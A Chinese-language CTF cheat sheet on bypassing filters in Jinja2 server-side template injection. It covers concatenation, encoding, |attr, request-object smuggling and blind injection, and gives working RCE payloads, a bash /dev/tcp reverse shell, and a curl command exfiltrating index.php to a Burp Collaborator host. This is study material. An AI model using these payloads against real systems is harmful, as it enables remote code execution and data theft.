0x00 前言
打了huaweictf,对于我这个小菜鸡来说,感觉题目质量还是不错的。学到了一些骚姿势,借此总结一下SSTI的bypass方法。备忘,速查。
0x01 骚姿势
以下骚姿势大部分以这个payload为例,根据不同情况来更换部分地方
1 | {{"".__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__.os.popen("cat /flag").read()}} |
拼接
适用场景:过滤. _ 关键字
(这里的_
还是会直接出现,能够绕过具体还是跟waf的过滤方式有关)
这个老生畅谈了,利用python的字符串特性,可以拼接,可以用+
,也可以直接拼接
1 | ().__class__ |
以上是等价的
编码
适用场景:过滤关_ 关键字 关键字符
(有一些waf比较狠,关键字符都给你扬了,因此拼接的方法就不管用了,可以结合编码一起用)
这里的编码方式有两种类型,一种是利用内置函数进行编码,一种是十六进制或八进制编码(和命令注入的编码方式一样)
内置函数
1 | ().__class__ |
进制编码
这个方法比较好用,但凡其过滤了关键字或字符,那我们就让数字编码代替字母就好了
1 | ().__class__ |
过滤中括号
想一下我们在何处用了中括号,就是在数组或对象获取元素或属性时用了,我们用一下方法来代替中括号。
__getitem__(index/name)
元组、数组、字典
1 | "".__class__.__mro__[2] |
pop(index)
仅数组可用,通常以索引使用
1 | "".__class__.__mro__[2] |
get(name)
仅字典,取出字典的某个属性。这个通常搭配下面的|attr
用
|attr(name)
过滤器,用于取出对象的某个属性或方法。比较万能,在构造链中,通过name取出某个属性或方法。
1 | ()|attr("__class__")|attr("__base__") |
元组和数组(都是对象)通过索引获取元素,因此这种方法不适用;且无法取出字典的值,如
1 | ()|attr("__class__")|....|attr("__globals__")|attr("os") |
由于__globals__
返回的是字典,因此在模板渲染时会出错,可以先取出get,再取值
1 | ()|attr("__class__")|....|attr("__globals__")|attr("get")|attr("os") |
以上方法并不是独立的,组合起来效果更佳。
过滤引号
过滤引号我们无法在最后放我们RCE的payload,因此需要绕过。
可以使用chr()函数进行绕过。但前提是关键字未过滤,如果过滤了关键字,我们需要用其他办法来找到chr()函数。
1 | 1.找chr()函数 |
下面介绍的request对象适用于既过滤了引号又过滤关键字的情况。
request对象
request对象用于获取http请求中的各种字段属性,因此我们可以通过request对象外带参数的方法来绕过waf。常用的request对象
- request.values:get或post。可以当做两个分立的
ImmutableMultiDict
使用,因为是GET方法的时候并不能额外使用POST正文的数据,而是POST方法的时候也不能url传参,因此其实就是get或post方法的替身
1 | CombinedMultiDict([ImmutableMultiDict([('search', u'{{(request.values)}}')]), ImmutableMultiDict([])]) |
- request.args :get
1 | ImmutableMultiDict([('search', u'{{(request.args)}}')]) |
- request.cookies:cookies
1 | ImmutableMultiDict([('a', u'2'), ('b', u'1')]) //这里传入Cookie: a=1; b=2 |
- request.form:表单信息。不常用
- request.headers:头部。不常用
对于上面的ImmutableMultiDict
类型,直接理解成字典即可,可以直接取值request.args.name
或使用items()等方法
适用条件:过滤" ' 关键字
举个例子
1 | ?code={{()|attr(request.args.a)}}&a=__class__ |
过滤.
换成中括号
1 | ()["__class__"] |
|attr()
1 | ()|attr("__class__") |
过滤双下划线
- request对象参数外带
- 编码,前提是在引号中
过滤空格
%0a
引号中编码
过滤{{
可以采用{%..%}
来构造,{%..%}
该模板主要用于控制语句和赋值语句,还有print。
1.print
1 | {%print payload%} |
2.二分盲注
这里和sql二分盲注的原理类似。
1 | {%if payload>'f'%}1{%endif%} |
附带一个脚本二分盲注的脚本
1 | import requests |
过滤器
这里的过滤器指的是模板中内置的过滤器,其功能相当于方法,用于字符串等数据的操作。
基本用法:
1 | 变量|过滤器 |
前面()|attr(name)
的用法就是过滤器。常用的其他过滤器还有:
- first:返回一个序列的第一个元素。不可用于数字
- last:返回一个序列的最后一个元素。不可用于数字
- **join(“x”)**:以x作为连接符来连接数组或字典。缺省默认为空字符
1 | {{("a","b")|join()}} //结果为ab |
- int:将值转换为int类型。
- float:将值转换为float类型。
- lower:将字符串转换为小写。
- upper:将字符串转换为小写。对于lower和upper,还能将数字转为字符串
1 | {{1000|lower|first}}//输出1 |
- replace(old,new):替换old为new
- truncate(length):截取length长度的字符串,其先以单词作为分割,且省略的部分会用
...
代替。截取的长度包括...
这三个字符,因此,length的取值必须大于等于3。这个用法比较迷,暂留。 - string:将变量转换为字符串
- trim:截取字符串前面和后面的空白字符
用好过滤器,有时候会有意向不到的效果。比如我想bypass点号,那么我可以用truncate来尝试构造一个点号。
1 | 10000000|lower|truncate(3)|first |
这样我们不需要出|和()
的任何附加字符就可以得到点号
无回显处理
1.反弹shell
就是把payload中的命令执行语句换成反弹shell即可,用vps来接收
1 | ''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('bash -i >& /dev/tcp/ip/port 0>1&') |
2.curl转发文件到bp
这个还没碰到过,先学习一下。命令更换如下:
1 | curl -X POST -F xx=@index.php http://ysufxr7fbv9p3gjkfgpqexmdu40uoj.burpcollaborator.net |
-X:指定request
-F:模拟http表单提交数据。
@:表示取出index.php的内容作为xx的value
后面的地址是BP的Collaborator Client,获取如下
1 | 打开Burp主界面 -->菜单(Burp)-->Burp Collaboraor Client -- > 点击 Copy to Clipboard |
3.盲注
盲注上面已经说过了。
#0x02 组合过滤
0x03 payload汇总
payload主要是记住几个常见的模块和类以及内建函数:os、sys、subprocess、__builtins__
、linechache(引用了os模块)、catch_warnings
等
常用的类
位置根据实际情况确定。
1 | (29,<type 'builtin_function_or_method'> ) |
在做题的时候如果嫌一个个试太麻烦,还可以尝试直接利用控制语句来帮我们找到相应的类并执行
1 | {% for c in ().__class__.__base__.__subclasses__() %} |
常用的payload
以下为基础payload,实际中需要根据类具有的模块以及bypass方法来更改payload。
1 | {{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}} |
等价形式
1 | func_globals == __globals__ |